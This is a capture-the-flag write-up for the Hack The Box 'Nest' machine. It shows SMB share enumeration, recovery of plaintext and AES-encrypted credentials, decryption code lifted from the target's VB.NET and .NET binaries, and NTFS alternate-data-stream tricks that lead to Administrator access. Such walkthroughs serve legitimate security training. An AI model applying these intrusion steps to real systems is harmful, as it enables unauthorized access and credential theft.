Hackthebox - Nest Writeup

Nmap scan
Open ports:
- 445/tcp microsoft-ds?
- 4386/tcp open unknown
Enumeration
smbclient
We use smblient to list the shares. And find a share named “Data” using NULL auth.
smbclient -L \\\\10.10.10.178
We connect to the share using
smbclient \\\\10.10.10.178\\DataWe find an interesting file under \Shared\Templates\HR\
named “Welcome Email.txt”. We get the file on our local mahcine
using
smb: \Shared\Templates\HR\> get "Welcome Email.txt"Having a look at the file we find

So we get some creds here. Creds found:
Username: TempUser
Password: welcome2019
Privilege Escalation - User
Encrypted password find
Logging in to the smbserver using these creds, we see that we have access to the IT folder.
smbclient \\\\10.10.10.178\\Data -U TempUser%welcome2019We find an intersting file RU_config.xml under
\IT\Configs\RU Scanner\. Catting out the contents, we find
some creds here
<?xml version="1.0"?> <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Port>389</Port> <Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>The password seems to be base64 encoded. So we decode it
echo fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= | base64 -dThe password includes unicode characters. So the hash is not base64. We look around the smbshare more and find something interesting in the config.xml file of notepad++
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>VB script encryption debug
In “VB Projects/WIP/RU/RUScanner” we find some visual basic scripts. These seem to perform the encryption and decryption of the password of the user. The script Utils.vb contains the decrypt funciton. We can use this script to decrypt the encrypted pass we found using online vb.net compiler here.
Imports System
Imports System.Text
Imports System.Security.Cryptography
Public Module Module1
Public Sub Main()Main
Console.WriteLine("Decrypted: " + DecryptString(EncryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")))
End Sub
Public Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Function EncryptString(PlainString As String) As String
If String.IsNullOrEmpty(PlainString) Then
Return String.Empty
Else
Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Function Encrypt(ByVal plainText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim encryptor As ICryptoTransform
= symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
Using memoryStream As New IO.MemoryStream()
Using cryptoStream As New CryptoStream(memoryStream, _
encryptor, _
CryptoStreamMode.Write)
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
cryptoStream.FlushFinalBlock()
Dim cipherTextBytes As Byte() = memoryStream.ToArray()
memoryStream.Close()
cryptoStream.Close()
Return Convert.ToBase64String(cipherTextBytes)
End Using
End Using
End Function
Public Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End ModuleDecrypting, we find the password.
Creds found:
User: c.smith
Password: xRxRxPANCAK3SxRxRx
smbclient \\\\10.10.10.178\\Users -U c.smith%xRxRxPANCAK3SxRxRxListing the files recursively, we find our required user.txt
Privilege Escalation - Administrator
HQK reporting service - Port 4386
From the nmap port scan, we found an open port 4386. Banner grabbing using nc, we find a service “HQK Reporting Service V1.2” running on the port. We get a prompt but cannot execute any commands connecting with nc. We try with telned and get success.
telnet 10.10.10.178 4386DEBUG mode password - ntfs ADS
But we have limited execution. We can enter a debuyg mode using a
debug mode password. We found a file named “Debug Mode Password.txt” in
the Users\C.Smith share. We see that the file is empty.
Looking around for quite a while, and using some help from the forum , I
came to know of ntfs
alternate data streams. So basically, data can be stored in the ntfs
files in a different stream for obsfucation. We can see that the file
has an alternate data stream using allinfo command. We can get the data
from the alternate stream executing the following
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"Creds found: > Password: WBQ201953D8w
LDAP creds found
Now, we can use this password to enter debug mode on HQK and get more access to the files. Looking around, we see that directory ../ is HQK/ and contains a folder /LDAP. Going to the directory, we find a file ldap.conf that gives us the creds for the administrator.
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=Creds found:
User: Administrator
Password: yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
Decryting encrypted pass debugging HqkLdap.exe(dnSpy)
The password is encrypted. We also found a HqkLdap.exe file there. We can have a look at the file. We found this file in the Users share under “C.Smith/HQK Reporting/AD Integration Module/”. The file is a .NET binary.
In order to debug the file, we use a tool called dnSpy We can decompile the
binary into C# code. Looking at the code, we find a class
HqkLdap.CR that has a function DS which
decrypts the string provided. So we can use this function to decrypt our
obtained hash.

We head over to the awesome .netfidler and edit our C# script to decrypt our hash. The script stands
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Program
{
public static void Main()
{
Console.WriteLine("Decrypting Admin Hash...");
Console.WriteLine(CR.DS("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4="));
}
}
public class CR
{
// Token: 0x06000012 RID: 18 RVA: 0x00002278 File Offset: 0x00000678
public static string DS(string EncryptedString)
{
if (string.IsNullOrEmpty(EncryptedString))
{
return string.Empty;
}
return CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
// Token: 0x06000013 RID: 19 RVA: 0x000022B0 File Offset: 0x000006B0
public static string ES(string PlainString)
{
if (string.IsNullOrEmpty(PlainString))
{
return string.Empty;
}
return CR.RE(PlainString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
// Token: 0x06000014 RID: 20 RVA: 0x000022E8 File Offset: 0x000006E8
private static string RE(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] bytes = Encoding.ASCII.GetBytes(initVector);
byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
byte[] bytes3 = Encoding.ASCII.GetBytes(plainText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
byte[] bytes4 = rfc2898DeriveBytes.GetBytes(checked((int)Math.Round((double)keySize / 8.0)));
ICryptoTransform transform = new AesCryptoServiceProvider
{
Mode = CipherMode.CBC
}.CreateEncryptor(bytes4, bytes);
string result;
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
cryptoStream.Write(bytes3, 0, bytes3.Length);
cryptoStream.FlushFinalBlock();
byte[] inArray = memoryStream.ToArray();
memoryStream.Close();
cryptoStream.Close();
result = Convert.ToBase64String(inArray);
}
}
return result;
}
// Token: 0x06000015 RID: 21 RVA: 0x000023DC File Offset: 0x000007DC
private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] bytes = Encoding.ASCII.GetBytes(initVector);
byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
byte[] array = Convert.FromBase64String(cipherText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new
Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
checked
{
byte[] bytes3 = rfc2898DeriveBytes.GetBytes((int)Math.Round((double)keySize / 8.0));
ICryptoTransform transform = new AesCryptoServiceProvider
{
Mode = CipherMode.CBC
}.CreateDecryptor(bytes3, bytes);
MemoryStream memoryStream = new MemoryStream(array);
CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
byte[] array2 = new byte[array.Length + 1];
int count = cryptoStream.Read(array2, 0, array2.Length);
memoryStream.Close();
cryptoStream.Close();
return Encoding.ASCII.GetString(array2, 0, count);
}
}
// Token: 0x04000006 RID: 6
private const string K = "667912";
// Token: 0x04000007 RID: 7
private const string I = "1L1SA61493DRV53Z";
// Token: 0x04000008 RID: 8
private const string SA = "1313Rf99";
}Running the script, we get our decrypted password for administrator.

Creds found:
User: Administrator
Password: XtH4nkS4Pl4y1nGX
Now we use the creds to get into the C$ share on smb
smbclient \\\\10.10.10.178\\Users -U Administrator%XtH4nkS4Pl4y1nGXWe successfully got in. Now we can read our root.txt file from
C:\Users\Administrator\Desktop\root.txt